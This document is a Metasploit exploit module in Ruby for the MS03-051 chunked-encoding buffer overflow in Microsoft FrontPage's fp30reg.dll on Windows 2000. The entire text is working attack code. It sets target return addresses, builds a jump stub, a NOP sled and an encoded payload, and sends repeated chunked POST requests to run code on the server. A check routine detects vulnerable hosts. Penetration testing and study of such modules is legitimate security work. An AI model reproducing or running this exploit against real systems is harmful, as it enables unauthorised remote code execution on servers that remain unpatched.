Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow',  
'Description' => %q{  
This is an exploit for the chunked encoding buffer overflow  
described in MS03-051 and originally reported by Brett  
Moore. This particular modules works against versions of  
Windows 2000 between SP0 and SP3. Service Pack 4 fixes the  
issue.  
  
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2003-0822'],  
[ 'OSVDB', '2952'],  
[ 'BID', '9007'],  
[ 'MSB', 'MS03-051'],  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",  
'StackAdjustment' => -3500,  
  
},  
'Platform' => 'win',  
'Targets' =>   
[  
['Windows 2000 SP0-SP3', { 'Ret' => 0x6c38a4d0 }], # from mfc42.dll  
['Windows 2000 07/22/02', { 'Ret' => 0x67d44eb1 }], # from fp30reg.dll 07/22/2002  
['Windows 2000 10/06/99', { 'Ret' => 0x67d4665d }], # from fp30reg.dll 10/06/1999   
],  
'DisclosureDate' => 'Nov 11 2003',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('URL', [ true, "The path to fp30reg.dll", "/_vti_bin/_vti_aut/fp30reg.dll" ]),  
], self.class)   
end  
  
def exploit  
  
print_status("Creating overflow request for fp30reg.dll...")  
  
pat = rand_text_alphanumeric(0xdead)  
pat[128, 4] = [target.ret].pack('V')  
pat[264, 4] = [target.ret].pack('V')  
  
# sub eax,0xfffffeff; jmp eax  
pat[160, 7] = "\x2d\xff\xfe\xff\xff" + "\xff\xe0"  
  
pat[280, 512] = make_nops(512)  
pat[792, payload.encoded.length] = payload.encoded  
  
0.upto(15) do |i|  
  
if (i % 3 == 0)  
print_status("Refreshing the remote dllhost.exe process...")  
  
res = send_request_raw({  
'uri' => datastore['URL']  
}, -1)  
  
if (res and res.body =~ /specified module could not be found/)  
print_status("The server states that #{datastore['URL']} does not exist.\n")  
return  
end   
end  
  
print_status("Trying to exploit fp30reg.dll (request #{i} of 15)")  
  
res = send_request_raw({  
'uri' => datastore['URL'],  
'method' => 'POST',  
'headers' =>  
{  
'Transfer-Encoding' => 'Chunked'  
},  
'data' => "DEAD\r\n#{pat}\r\n0\r\n"  
}, 5)  
  
if (res and res.body =~ /specified module could not be found/)  
print_status("The server states that #{datastore['URL']} does not exist.\n")  
return  
end  
  
handler  
  
sleep(1)  
end  
end  
  
def check  
print_status("Requesting the vulnerable ISAPI path...")  
r = send_request_raw({  
'uri' => datastore['URL']  
}, -1)   
  
if (r and r.code == 501)  
return Exploit::CheckCode::Detected  
end  
return Exploit::CheckCode::Safe  
end  
  
end  
`